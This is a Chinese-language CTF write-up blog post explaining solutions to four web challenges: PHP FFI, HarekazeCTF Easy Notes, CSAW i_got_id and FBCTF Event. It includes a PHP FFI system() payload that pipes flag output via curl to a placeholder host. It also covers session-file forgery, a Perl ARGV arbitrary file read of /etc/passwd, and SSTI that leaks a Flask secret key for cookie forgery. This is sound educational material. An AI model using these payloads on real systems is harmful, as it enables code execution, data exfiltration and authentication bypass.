new_day2

CTFHUB FFI拓展

1.FFI可以调用用户区的代码,也就是提供了执行c代码的功能。进入题目,发现开启了FFI拓展,包括请求ant参数。

2.调用FFI::cdef,然后参数值填写system命令的引用,最后执行命令返回读取根目录flag。
payload:

?ant=$a=FFI::cdef("int system(char *command);");$a->system('curl http://ip/?p=`/readflag|base64`');

[HarekazeCTF2019]Easy Notes

1.题目给了源代码,审计就行。发现读取getflag的条件是$_SESSION['admin']存在才行。那就需要找可以伪造session的点。

2.在config.php中,发现session保存目录是在/var/www/tmp下。而找到export.php也可以发现,我们导出的文件也保存在/tmp目录下面。也就是说,我们上传的文件导出时,它其实是会和session存放在同一个目录的。这就给我们伪造一个sess_文件提供了思路,同时看一下文件名的生成规则。

3.继续查看export.php,这个时候我们发现$filename它的生成规则是,获取用户名然后拼接-,再拼接一段8位随机数,最后加上.和我们传入的type参数文件名后缀。我们要生成session文件,那么肯定是不能有后缀的,所以到下面则有一个str_replace替换,它会将两个…替换为空。表示我们如果传入的type也为小数点时,那么两个小数点则会被替换为空,刚好删除了后缀。

4.那么接下来就是文件内容要包含我们的$_SESSION['admin']了。首先是session序列,默认session_start()存储格式是php:<键名>|<序列化的值>。马上我们找到导出文件的内容生成$notes = get_notes();找到该函数的文件lib.php

function get_notes() {
  if (!isset($_SESSION['notes'])) {
    $_SESSION['notes'] = [];
  }
  return $_SESSION['notes'];
}
function add_note($title, $body) {
  $notes = get_notes();
  array_push($notes, [
    'title' => $title,
    'body' => $body,
    'id' => hash('sha256', microtime())
  ]);
  $_SESSION['notes'] = $notes;
}

5.可以看见它是读取了$_SESSION['notes']的内容的,而该内容又是在add_note()方法中添加的,该方法又是在add.php中被调用的,它将我们写入的标题和内容存入到session[‘notes’]中。那么也就是说我们写入的session也可控了。

6.先添加一个用户,名字为session的前缀格式sess_。然后到添加文章add.php中,标题名写|N;admin|b:1;,内容任意。最后一步导出文件,类型为?type=.,此时就会在tmp目录下生成一个sess_-<8位随机数>文件,然后在响应头Content-Disposition:能读取到文件名。最后将-<8位随机数>替换session,访问getflag页面,成功读取flag。

[CSAWQual 2016]i_got_id

1.看后缀是perl写的,进入到上传页面,我们上传的文件它会原样输出到页面中。github上面题目的代码如下:

if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    while (<$file>) {
        print "$_";
        print "<br />";
    }
}

2.它获取到传入的file,然后进行打印操作。别人文章中解释的是:param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

3.看了以后还是没明白ARGV文件是什么,查询了一下。

  • Perl 自动提供一个名为@ARGV的数组,它包含来自命令行的所有值。并且该数组是不需声明的。
  • ARGV则是代表<>当前正在处理的文件句柄。例如下面的demo,它编译后使用shell> ./test.plx a.log b.log将会读取这两个文件的内容。
while(<>){
    print $_;
}

4.也就是说,当我们传入的file是ARGV时,它是作为数组参数传入的,使程序变成像命令行一样等待我们传值进去。当我们传入参数为文件名时,它会直接作为ARGV数组的参数被读取。所以,我们传?/flag /etc/passwd它就类似于shell> ./test.plx /flag /etc/passwd,可以直接读取两个文件的值。

[FBCTF2019]Event

1.进入题目,注册后查看源码,events_sesh_cookie解密没有发现什么特殊,而在user中发现/flag界面session需要为admin才能获得flag。

2.尝试泄露密钥,试了好几个地方都没发现ssti。后面看别的文章才知道真正的点是在event_important参数中,在这输入__class__能回显。

3.于是读取配置文件:__init__.__globals__[app].config,发现密钥fb+wwn!n1yo+9c(9s6!_3o#nqm&amp;&amp;_ej$tez)$_ik36n8d7o6mr#y,由于flask-session-cookie脚本需要两个参数,于是用网上脚本伪造生成cookie,替换访问即可获得flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值